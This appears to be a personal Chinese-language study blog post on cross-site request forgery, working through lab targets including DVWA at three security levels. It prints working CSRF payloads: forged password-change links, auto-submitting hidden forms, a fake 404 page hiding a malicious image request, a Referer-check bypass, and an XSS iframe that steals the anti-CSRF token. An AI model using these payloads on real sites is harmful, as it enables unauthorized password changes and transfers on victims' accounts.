闲来无事,开启了CSRF漏洞的学习之旅。并记录一下学习笔记!
对web客户端的攻击,除了XSS以外,还有一个非常重要的漏洞就是CSRF。
CSRF最关键的是利用受害者的Cookie向服务器发送伪造请求。
1.CSRF漏洞概念
CSRF(Cross-site request forgery,跨站请求伪造),也被称为“One Click Attack”或Session Riding,通常缩写为CSRF或者XSRF,是基于客户端操作的请求伪造,是一种对网站的恶意利用。
2.CSRF与XSS的区别
CSRF听起来像跨站脚本攻击(XSS),但与XSS不同。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
什么意思呢?我的理解就是:
XSS利用的是用户对指定网站的信任,CSRF利用是网站对用户浏览器的信任。
3.CSRF漏洞原理
学习过程中,参考了一下大师傅的博客,发现CSRF原理可以分为狭义的CSRF和广义的CSRF
4.CSRF攻击流程
5.CSRF攻击实现的条件
常见CSRF攻击类型有:GET型CSRF、POST型CSRF
下面使用必火团队的CSRF在线靶场进行验证。靶场地址
GET型
仅需要一个HTTP请求。就能够构造一次简单的CSRF。
银行站点,正常GET请求来完毕银行转账给admin的10元操作: http://www.nanhack.com/payload/xss/csrf1.php?name=admin&money=10 恶意攻击者页面:http://www.nanhack.com/payload/xss/csrf1.php 访问恶意攻击者页面产生CSRF请求: http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000
用户登录了银行站点,然后访问恶意攻击者页面,这时qwzf的银行账户少了1000。
原因:银行站点A违反了HTTP规范,使用GET请求更新资源。
用户在访问恶意攻击者页面之前,已经登录了银行站点,而攻击者页面中的 一个合法的请求,但这里被不法分子利用了。
浏览器会带上银行站点的Cookie发出Get请求,去获取资源以GET的方式请求第三方资源(这里的第三方就是指银行站点了,这里是http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000
,结果银行站点服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立马进行转账操作。从而qwzf的银行账户转账给zsm账户1000元。
直接构造CSRF链接,隐蔽性太低。于是可以采用标签等方法进行隐藏。
4种GET型CSRF构造方式
POST型
危害没有GET型的大,利用通常使用的是一个自动提交的表单。如:
<form name="csrf" action="http://edu.xss.tv/payload/xss/csrf2.php" method="post"> <input type="hidden" name="name" value="zhangsan"> <input type="hidden" name="money" value="1000"> </form> <script type="text/javascript">document.csrf.submit();</script>
访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作。
利用自动化探测工具CSRFTester
或者burp自带CSRF POC
1.CSRFTester设置浏览器代理:127.0.0.1:8008,burp是8080
2.登录web应用程序,提交表单,在CSRF工具中修改表单内容,查看是否更改,如果更改就存在CSRF漏洞
3.生成CSRF的POC
参考:Web安全Day3 - CSRF实战攻防
首先,先登录DVWA,以在浏览器上保存Cookie信息。用户名:admin 密码:password
查看下源码(这里只写一些关键代码):
<?php if (isset($_GET['Change'])) { //获取两次密码输入 $pass_new = $_GET['password_new']; $pass_conf = $_GET['password_conf']; if (($pass_new == $pass_conf)){ $pass_new = mysql_real_escape_string($pass_new); //过滤字符串 $pass_new = md5($pass_new); $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';"; $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); echo "<pre> Password Changed </pre>"; mysql_close(); } else{ echo "<pre> Passwords did not match. </pre>"; } } ?>
首先获取输入的两个密码然后判断两个值是否相等,若相等则接着对pass_new
变量进行调用mysql_real_escape_string()
函数来进行字符串的过滤、再调用md5()函数对输入的密码进行MD5加密,最后再将新密码更新到数据库中。整段代码因为调用了mysql_real_escape_string()
函数从而有效地过滤了SQL注入,但是对CSRF没有任何的防御机制。(当然服务器对请求的发送者是做了身份验证的,检查Cookie,只是这里代码没有体现)
漏洞利用
正常修改密码:
http://192.168.1.3/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
(1)直接构造链接
http://192.168.1.3/DVWA/vulnerabilities/csrf/?password_new=qwzf&password_conf=qwzf&Change=Change#
当受害者点击这个链接,他的密码就会被改成qwzf(这种构造一眼就能看出来是改密码,隐蔽性太低)
(2)使用短链接来隐藏URL
生成短链接常用网址:
站长工具
百度短网址
点击短链接,会自动跳转到真实网站。在实际攻击场景下只要目标服务器的域名不是ip,并且是远程服务器。
(3)构造攻击页面
通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,然后在公网上传下面这个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里我写一个qwzf.html:
<html> <head> <title>404 Not Found</title> </head> <body> <h1>Not Found</h1> <img src="http://192.168.1.3/DVWA/vulnerabilities/csrf/?password_new=qwzf&password_conf=qwzf&Change=Change#" border="0" style="display:none;"/> <p>The requested URL /qwzf.html was not found on this server.</p> </body> </html>
当用户访问test.html时,会误认为是自己访问一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了qwzf。
查看源码发现,比Low级多了个if判断
if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
eregi(string pattern, string string)
检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
同时可以看到,Medium级的代码检查了保留变量 HTTP_REFERER
(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME
(http包头的Host参数,及要访问的主机名,这里是192.168.1.3),希望通过这种机制抵御CSRF攻击。
漏洞利用
将之前qwzf.html
攻击页面命名为192.168.1.3.html
,然后放置在攻击者的服务器里,这里是http://39.x.93.165:8080/
Referer参数绕过过滤规则
密码被修改为了qwzf
查看源码发现,比Low级多了随机token
if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); ...... } // Generate Anti-CSRF token generateSessionToken();
High级的代码加入了Anti-CSRF token机制,即用户每次访问改密页面时,服务器会返回一个随机的token
。
向服务器发起请求时,需要提交token参数。
而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
暴力破解可以突破CSRF Token
原因:构造HTTP请求的对象不一样。暴力破解,攻击者是当前用户,受害者是其他用户。CSRF攻击者是其他用户,受害者是当前用户。
漏洞利用
绕过反CSRF机制,关键是要获取token
,要利用受害者的cookie去修改密码的页面获取关键的token。
可不可以在自己的恶意页面中运行js脚本而取得目标页面的token呢?当然是不可以,浏览器普遍对跨域请求资源有访问控制。对于需要验证的资源,跨域请求会被拒绝。
但是如果同时存在存储xss漏洞的话,可进行csrf利用。
(1)首先我们需要先获取用户token,由于现在都已经不支持跨域请求访问了,所以只能从别的地方入手获取token,查看大师傅博客,发现可以利用下面的脚本在XSS(Stored)的Name参数进行XSS攻击,获取用户token:
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
(2)然后将下面的脚本构造攻击页面放到攻击服务器上,诱导用户点击,从而实现攻击
<script type="text/javascript"> function attack() { document.getElementById("transfer").submit(); } </script> <body οnlοad="attack()"> <form method="GET" id="transfer" action="http://192.168.1.3/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="qwzf"> <input type="hidden" name="password_conf" value="qwzf"> <input type='hidden' name='user_token' value="8519d07c0e08e8ef0461311e9a880af5"> <input type="hidden" name="Change" value="Change"> </form> </body>
另外high级还有一种大师傅发现的方法,参考大师傅博客:
DVWA 1.10 High等级的CSRF另类通关法
通过学习CSRF漏洞,感觉Web安全竟如此有趣,继续加油!!!